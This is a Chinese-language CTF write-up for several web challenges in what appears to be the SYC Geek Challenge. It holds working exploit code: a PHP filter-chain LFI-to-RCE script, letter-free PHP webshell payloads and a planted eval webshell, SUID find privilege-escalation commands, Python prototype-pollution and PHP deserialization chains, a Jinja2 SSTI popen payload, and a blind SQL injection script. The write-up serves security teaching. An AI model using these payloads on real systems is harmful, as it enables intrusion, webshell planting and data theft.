Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo
尊嘟假嘟解密一次:
Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy
这个应该就是需要rc4解密了,问题是没有密钥,根据所有题目信息,最后猜到密钥是题目描述中的Syclover
rc4解密结果:
文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??
后端逻辑是include($file.".py")
,我们可以利用php filter chain
突破后缀"限制"
POC:
import requests
url = "https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php"
#可以读取到的文件
file_to_use = "/var/hint"
#要执行的命令
command = "cat /ffffffllllag"
#两个分号避开了最终 base64 编码中的斜杠
#=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "xxx",
"file": final_payload
})
print(r.text)
SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}
直接给了源码,waf暂时未知。
手测了以下貌似过滤单个字符和数字,那就无字母RCE。
查看phpinfo()
?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")();
disable_functions
有点多的。
同时也有目录限制。
读取waf文件highlight_file('waf.php')
("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f");
可用的单个字符就a、e、l、v
。
assert被禁用了,异或直接eval('$_POST[1]')
,无法生效,$_POST[1]
会被当成字符串处理。
我们参考P神的payload:一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
简单修改一下
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);
执行成功。
写到文件。
GET:?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);
POST:_=file_put_contents('17.php','=eval($_POST[1]);?>');
蚁剑连接。(记得https改成http)【】
限制了/flag
的读取权限。
可以利用find提权。
find / -perm -u=s -type f 2>/dev/null //查看具有suid权限的命令
find / -perm -4000 2>/dev/null //这个也可以
语法:find [path…] [expression]
path为查找路径,.为当前路径,/为根目录
expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位
-type:
d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录-amin n: 查找系统最后n分钟内曾被存取过的文件或目录
-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录
-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录
-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。
find提权获取flag:
find /tmp -exec cat /flag \;
find `which find` -exec cat /flag \;
find /etc/passwd -exec cat /flag \;
参考文章:
find基础命令与提权教程_find提权-CSDN博客
find 命令提权 - 内向是一种性格 - 博客园 (cnblogs.com)
SYC{ThE_RCe_is_S0_Eas1ly_DD!}
题目描述:can you pollute me?
附件直接给了源码,一眼python原型链污染。
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?要不v我50,我送你一个VIP吧,嘻嘻
')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
简单看了一下,在/register
路由注册时进行污染,使得User()
类的isvip
=True
。
访问/register
路由,注册按钮点不动。
源码给了hint:
那就直接传参注册:
解释一下如何污染:
__class__
属性换成了user对象的所属的类(hhh)
__base__
属性换成了hhh类的所属的直接父类(User)
参考文章:(主要是最后一篇)
【CTF】Python原型链污染_Luminous_song的博客-CSDN博客
Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)
Python原型链污染_python 原型链_Elitewa的博客-CSDN博客
注册时候,污染一波,过滤了isvip
,使用Unicode绕过。
{"username":"222","password":"111","__class__" : {"__base__" : {"\u0069\u0073\u0076\u0069\u0070": "True"}}}
访问/flag
路由,num使用Non-ASCII Identifies
绕过。
?num=12345678
源码里面获得flag。
开题,点击链接后跳转到源码界面:
好长
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');
class Me {
public $qwe;
public $bro;
public $secret;
public function __wakeup() {
echo("进来啦
");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;
if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}
else{
echo("错了哥们,再试试吧
");
}
}
}
class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊
");
serialize($this->asd);
}
public function find() {
echo("你能找到加密用的key和她的名字吗?qwq
");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!
");
$file=$_GET['file'];
if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!
");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!
");
}
}
else{
echo("兄弟怎么搞的?
");
}
}
}
class important{
public $power;
public function __sleep() {
echo("睡饱了,接着找!
");
return $this->power->seeyou;
}
}
class useless {
private $seeyou;
public $QW;
public $YXX;
public function __construct($seeyou) {
$this->seeyou = $seeyou;
}
public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);
if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了
");
$a = isset($_GET['a'])? $_GET['a']: "" ;
if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('
');
if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她
");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)
");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了
";
$zhui = $this->$good;
$zhui[$good]();
}
}
if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???
");
}
}
else {
echo("快帮我找找她!
");
}
?> 快帮我找找她!
先给链子:
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()
我们实现RCE是在her::find()
方法中,但是首先得先打一遍反序列化在useless::__destruct()
获取密钥等信息。
所以我们需要打两遍反序列化,链子也可以是:
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()
然后我们根据类方法,一个一个分析绕过。
1、序列化字符串绕过!preg_match("/^[Oa]:[\d]+/i", $user)
卡了好久,只能说newbing牛逼几种反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)
// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '
';
// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '
';
// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '
';
// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);
2、Me::__wakeup()
处变量引用绕过随机字符串
$a->bro=&$a->secret;
3、实现useless::__get($good)->her::find()
跳转
此步实现:$zhui[$good]();
即seeyou["seeyou"]();
即array(new her,'find')();
数组执行类方法
$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);
4、useless::__destruct()
处的md5判断,直接摘抄笔记了。
如果遇到:if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
可用:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
但是由于长度限制在80以内,故需要url解码一次。
5、useless::__destruct()
的随机数判断:$random==='newbee'
,不用管
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
因为逻辑是and
优先级可以看作
【(】$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) 【)】 and $random==='newbee';
6、useless::__destruct()
的文件名绕过限制
用任何一个不在URL显示并且不影响请求包含义的http头绕过就行,目前找到的只有Content-Type
,有HTTP限制,不能用自己的和其他一些请求头。
?a=CONTENT_TYPE
Content-Type:key.php
7、坑点之无法生成序列化链子。
分析输出,只有在important::__sleep()
方法后的echo才会输出,猜测这里执行了这个方法导致序列化字符串无法生成。。。
经过尝试,sleep改成construct就没问题了
第一次EXP:
//一模一样CV下来
//...
//...
//...
$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);
//md5
$a->qwe->asd->power->QW=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2');
$a->qwe->asd->power->YXX=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2');
$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));
源码中发现一堆编码:
/* 【xxx】 */
猜测是base64转图片,还真是。hername=momo,key=9
第二次EXP:
//一模一样CV下来
//her类中属性的private换成public
//...
//...
//...
$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->hername='momo';
$a->qwe->key='9';
$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array($a->qwe,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);
$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));
剩下的直接用原生类执行命令。绕过file_get_contents($file,'r') === "loveyou"
可用data伪协议。
payload:(DirectoryIterator找flag文件名)
GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=glob://flag*
POST:ctf=DirectoryIterator
SplFileObject读取文件:
GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=php://filter/convert.base64-encode/resource=flag_my_baby.php
POST:ctf=SplFileObject
开题。
看源码:
起手robots.txt
访问路由
继续看源码,谢谢三叶草给了我无比强大的信息搜集意识。
OK,那就/secr3ttt
路由GET传参klf
,有反应。猜测是SSTI
暂且当作是jinja2模板,fuzz一波。
528长度的都是被过滤的,md真狠啊。
此外,还过滤了request
、self
、~
、app
、open
、read
(是我字典不好)
nnd,直接上过滤器!!!!
简单测测,过滤器确实可行,之后应该还会有过滤。
{% set org = ({ }|select()|string()) %}{{org}}
过滤器骚操作如下,由于~
被过滤了,所以只能用,
和|join
进行拼接。
{% set po=dict(po=1,p=2)|join()%} #po=pop
{% set a=(()|select|string|list)|attr(po)(24)%} #_
{% set oo=dict(o=a,s=a)|join()%} #os
{% set p=dict(po=a,pen=a)|join()%} #popen
{% set ch=dict(ch=a,r=a)|join()%} #chr
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%} #__init__
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%} #__globals__
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%} #__getitem__
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%} #__builtins__
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%} #__import__
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} #__class__
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%} #__subclasses__
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%} #__base__
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%} #jay17.__class__.__base__.__subclasses__()
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%} #利用os类提取chr函数,用于字符串拼接
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%} #利用os类提取popen函数,用于字符串拼接
{% set re=dict(re=a,ad=a)|join()%} #read
{% set en=dict(en=a,v=a)|join()%} #env
{% set fl=dict(fl=a,ag=a)|join()%} #flag
{% set ta=dict(ta=a,c=a)|join()%} #ta
{% set kgxg=(chhr(32),chhr(47))|join()%} #空格/,用的是全角,不能完全全角,也可以自己构造。
{% set tf=(ta,kgxg,fl)|join()%} #tac /flag
{% set ll=dict(l=a,s=a)|join()%} #ls
{% set lll=(ll,kgxg)|join()%} #ls /
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%} #ls /app
{% set ha=dict(ha=a,hahaha=a)|join()%} #hahahaha
{% set th=(ta,chhr(32),ha)|join()%} #tac hahahaha
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%} #cat app.py
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}#tac /app/fl4gfl4gfl4g
{% set cmd=pp(six)|attr(re)()%} #执行命令
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
payload:
/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}
源码如下:
from flask import Flask, request, render_template, render_template_string,send_from_directory
import re
import os
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/secr3ttt', methods=['GET', 'POST'])
def secr3t():
klf = request.args.get('klf', '')
template = f'''
别找了,这次你肯定是klf
%s
'''
bl = ['_', '\\', '\'', '"', 'request', "+", 'class', 'init', 'arg', 'config', 'app', 'self', 'cd', 'chr',
'request', 'url', 'builtins', 'globals', 'base', 'pop', 'import', 'popen', 'getitem', 'subclasses', '/',
'flashed', 'os', 'open', 'read', 'count', '*', '38', '124', '47', '59', '99', '100', 'cat', '~',
':', 'not', '0', '-', 'ord', '37', '94', '96', '[',']','index','length']#'43', '45',
for i in bl:
if i in klf:
return render_template('klf.html')
a = render_template_string(template % klf)
if "{" in a:
return a + render_template('win.html')
return a
@app.route('/robots.txt', methods=['GET'])
def robots():
return send_from_directory(os.path.join(app.root_path, 'static'),
'robots.txt', mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7889, debug=False)
开局是一个输入框,需要我们输入id:
简单测测:【闭合是单引号】,猜测报错会输出你搁这儿干嘛啊???
id=1 正常
id=1' 回显你搁这儿干嘛啊???
id=1'' 正常
id=1''' 回显你搁这儿干嘛啊???
id=1'''' 正常
id=1''''' 回显你搁这儿干嘛啊???
id=1'''''' 正常
id=1''''''' 回显你搁这儿干嘛啊???
闭合用and '1' = '1
结尾
id=aaa'/**/||/**/'a'/**/like/**/'a 成功回显了id=1的内容
id=aaa'/**/||/**/'a'/**/like/**/'b 回显 别翻啦!这么多心灵鸡汤都du不了你吗
重点来了,id=aaa'/**/||/**/'a'/**/like/**/'a 成功回显了id=1的内容
,为什么不是回显id=aaa
的内容呢?说明这个式子在后端会被处理成逻辑值1
,而不是aaa
。
这说明了什么,后端的语句大体是select * from table where id=('xxx')
。
那就是以')
闭合,验证payload:id=4')#aaaa
有waf,我们拿burp打一波fuzz,过滤如下:
过滤字符替换如下:
被过滤字符 | 替代字符 |
---|---|
空格 | /**/ |
or | || |
= | like |
database() | schema() |
information_schema | 【传送门1】 |
奇怪的是联合查询判断不出回显位。。。
payload形如:id=1')/**/union/**/select/**/1,2,3#
没办法,只能用盲注了。
我们正常布尔盲注的payload是:'1\') and if(ord(mid(database(),{},1))>{},1,0)--+'.format(pos, mid_num)
或者"-1\" or 0^" + "(ascii(substr((SeleCt grOUp_conCAt(schema_name) fROm information_schema.schemata),{0},1))>{1})-- ".format(i, mid)
,思想都是获取我们需要的数据(无回显),截取其中的一个字符,通过爆破和比较得到截取的字符是什么。
information_schema
肯定是用不了了,database()
被禁用了我们用schema()
替换,一样的效果。
ascii
、ord
等函数也被禁用了,我们可以不用ASCII码,直接拿字符比较。
poyload形如:1') and (select (select schema() limit 1,1) like binary '【字符】%')#
BINARY
是一个在 MySQL 中用于进行二进制比较的关键字。在这个上下文中,它将作用于 LIKE
操作符,用于指示对比过程中区分大小写。
得到初步脚本,可以盲注出当前数据库名字是articles
import requests
payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
#payload = '1\') and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \'{}%\')#'
url = "http://47.108.56.168:1111/index.php"
#dict是爆破的字典,去掉了%_
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+[{]};:'",<.>/? `~!@#$^&*()\x00"
result = ''
while True:
data = ''
for i in range(len(dict)):
data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
response = requests.post(url=url, data=data)
if 'Persistence' in response.text:
result += dict[int(i)]
print(result)
break
if dict[int(i)] == '\x00': #%00作为结束符号
print('盲注结束,结果是:'+result)
exit(0)
但是articles
显然不是存放flag的数据库,还是绕不过information_schema
,我们找找替换。
还记得当年钱塘江畔的无列名注入吗,当时我的笔记是这样的:
- InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
- sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。
这么说来,数据库中初始的,存储数据库名字的表不止一个哦~
细细翻翻本地数据库中sys
库下的表。
sys
库下的表但凡是schema_
打头的基本上都存了所有数据库名字!!!
我们以sys.schema_auto_increment_columns
这张表为例,嘶,没注出结果,换一张,schema_table_statistics
,这个有结果了,而且这张表里面也存储了对应数据库的所有表名。
获取数据库名脚本(改一下limit可以看同一列另外的数据哦)
import requests
#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
payload = '1\') and (select (select table_schema from sys.schema_table_statistics limit 1,1) like binary \'{}%\')#'
url = "http://47.108.56.168:1111/index.php"
#dict是爆破的字典,去掉了%_,要不然会出现点小问题
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()\x00"
result = ''
while True:
data = ''
for i in range(len(dict)):
data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
response = requests.post(url=url, data=data)
if 'Persistence' in response.text:
result += dict[int(i)]
print(result)
break
if dict[int(i)] == '\x00': #%00作为结束符号
print('盲注结束,结果是:'+result)
exit(0)
得到库ctf
。
简单修改payload,得到表flll444aaggg9
,应该是ctf
里面的,不确定的情况下可以回到上一个payload看看,limit n,1
